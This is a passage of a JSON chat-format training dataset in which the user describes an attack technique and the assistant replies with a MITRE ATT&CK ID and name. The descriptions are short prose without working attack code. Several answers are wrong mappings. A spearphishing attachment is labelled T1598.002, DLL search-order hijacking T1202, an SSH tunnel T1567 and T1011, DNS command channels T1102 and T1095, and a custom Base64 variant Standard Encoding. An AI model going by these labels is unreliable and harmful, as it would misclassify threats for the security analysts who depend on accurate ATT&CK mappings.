                "content": "Threat actors use a compromised AWS S3 bucket to stage and exfiltrate large volumes of corporate data."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a known vulnerability in the IIS URL Rewrite module to gain remote code execution and persist malicious scripts on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the system's PATH environment variable, the threat actor ensures that a malicious script is executed in place of the legitimate utility during command line operations."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses standard base64 encoding to embed a payload within a PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leveraged a compromised developer's code signing credentials to sign malicious updates for popular software."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates stored API keys found in JavaScript source files and configuration JSON files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hijacks the Windows API to intercept typed characters in password fields."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host leveraged an SSH reverse tunnel over an unusual port to exfiltrate log files to an external server."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor clears the audit logs by executing 'auditctl -D' and then removes the audit log files on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a UDP amplification attack, exploiting vulnerable servers to reflect massive traffic toward the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a rapid stream of ICMP echo requests targeting a network device's management interface, causing the endpoint's service to become unresponsive due to resource exhaustion."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abused Microsoft Teams' Graph API to execute remote PowerShell commands on Office 365 services."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tampered with the Kubernetes audit log settings to stop recording cluster events."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders employ drone footage analysis to determine the layout and coordinates of the victim's warehouse."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a user's session, the attacker replays previously captured MFA challenge responses to gain access."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code triggers a kernel panic that results in loss of all volatile and non-volatile data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries whois records to collect domain registration details of the victim’s web domain."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a legitimate local service account to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries crafted fake SAML responses that included elevated privileges and submitted them to the service provider to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulated the ACME protocol to acquire a wildcard TLS certificate for the victim’s domain."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group utilized an authorized deployment script to copy a malicious executable into the startup folder of each host."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies kernel interrupt handlers to ignore signals that would normally terminate its malicious process, allowing it to stay hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a rogue certificate authority to issue a code signing certificate for a fake driver installer."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues the 'ps' command via a remote shell to map out processes before attempting privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension intercepted keystrokes and form submissions to steal user credentials."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A seemingly harmless text file contained an embedded malicious payload in its Unicode whitespace characters, which the malware read and executed."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators use the gpresult utility to locate GPP credential files and extract the embedded credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script continuously sends malformed packets to a router's management interface, causing it to crash and deny legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a malicious DLL placed in a trusted application directory; the DLL is loaded indirectly via a legitimate executable's DLL search order hijacking."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware communicates with its C2 server by embedding data in DNS queries to a web service endpoint."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant utilizes reflective code loading to stealthily inject executable code into a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app, disguised as a popular game, is uploaded to an app store and, when installed, requests device admin privileges."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers vandalize the company's external portal by injecting malicious HTML content that displays a protest banner."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects meaningless XML tags into configuration files to hide malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved executing a Python file that imported the subprocess module to run system commands."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor changes the security descriptor of a file to hide it from antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team leverages PowerShell to add a domain account and assign it to the Backup Operators group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that contacts an external service like ipinfo.io to retrieve the machine's public IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts logs and reports from the target's Google Cloud Storage bucket after gaining service account privileges."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set removes all mapped network drive connections after exfiltrating data to erase evidence of the SMB shares used."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a BITS transfer using PowerShell to fetch a ransomware installer from an external C2 host."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor sets up a malicious SSH tunnel to forward traffic from the victim to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries Active Directory to enumerate password complexity requirements and expiration policies."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a proxy-based attack, altering HTTP headers to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers crafted a spearphishing email with a malicious .rtf attachment that leveraged a RTF parsing flaw to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the breach, the malicious actor alters group policy to disable command auditing in Windows, removing all trace of executed commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tampers with the com.apple.security.plist to disable App Transport Security, allowing insecure HTTP connections for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a misconfigured PKI service to request and receive forged code‑signing certificates for malicious applications."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a fast-flux network by repeatedly changing the IP addresses associated with a malicious domain to avoid detection and maintain resilience of their command-and-control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script runs 'Get-Service' to retrieve the status of all Windows services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter Active Directory Group Policy Objects to grant themselves elevated privileges on domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group modified the firewall configuration in a Kubernetes environment, opening all ports to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code utilizes a reflective DLL injection into LSASS to obtain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initial access is achieved through a malicious email attachment that creates a named pipe for local communication, later upgraded to a remote TLS tunnel for full C2."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the threat actor logs into the target system via SSH and creates a reverse tunnel for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use the cloud provider's snapshot feature to duplicate a virtual machine they have compromised."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ service discovery commands to enumerate network services and identify potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker takes advantage of a third‑party social media management tool with weak security to extract admin credentials for the target’s Facebook page."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware enumerates window handles to discover hidden or background processes."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs credential dumping by targeting the LSASS service's memory space."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a DLL injection to hook the CredRead API, allowing them to capture stored credentials from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the actor executed 'netstat -an' to view all network sockets in any state, aiming to discover potential communication channels."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool encodes gathered reconnaissance data with a custom Base64 variant to bypass content filters."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a systemd service that runs with a high priority, ensuring it loads before security tools."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse Outlook rule automation to copy sensitive attachments to a network share the attacker controls, facilitating data theft."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls 7‑zip (7z) to create an encrypted archive of stolen documents prior to uploading them."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising an endpoint through exploits in locally installed applications, an adversary moves laterally by exploiting vulnerabilities in remote services exposed by other endpoints on the same network."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a cross-site scripting (XSS) vulnerability, the attacker steals the user's authentication cookie and uses it to hijack the web session."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a counterfeit SSL certificate on the compromised host to establish trusted communications for C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the authentication routine to apply a reversible encryption scheme to the password hash, enabling them to retrieve the original password when needed."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes signed installer packages delivered through an organization's software update mechanism to deploy a credential‑stealing module."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated espionage tool creates an encrypted archive of all credential files and writes it to any detected external storage device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker conducts open‑source intelligence (OSINT) on victim-owned web properties, extracting server version details and exposed admin panels."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers rely on a time‑based domain generation algorithm that produces a new set of domains every 12 hours, making blacklist updates impractical."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses DNS queries to send encrypted commands to the compromised host, bypassing typical firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder used \"kubectl exec\" to change the image of a running deployment to a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses a malicious Office macro that triggers a background WinRM command to download a remote executable, staging the tool on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
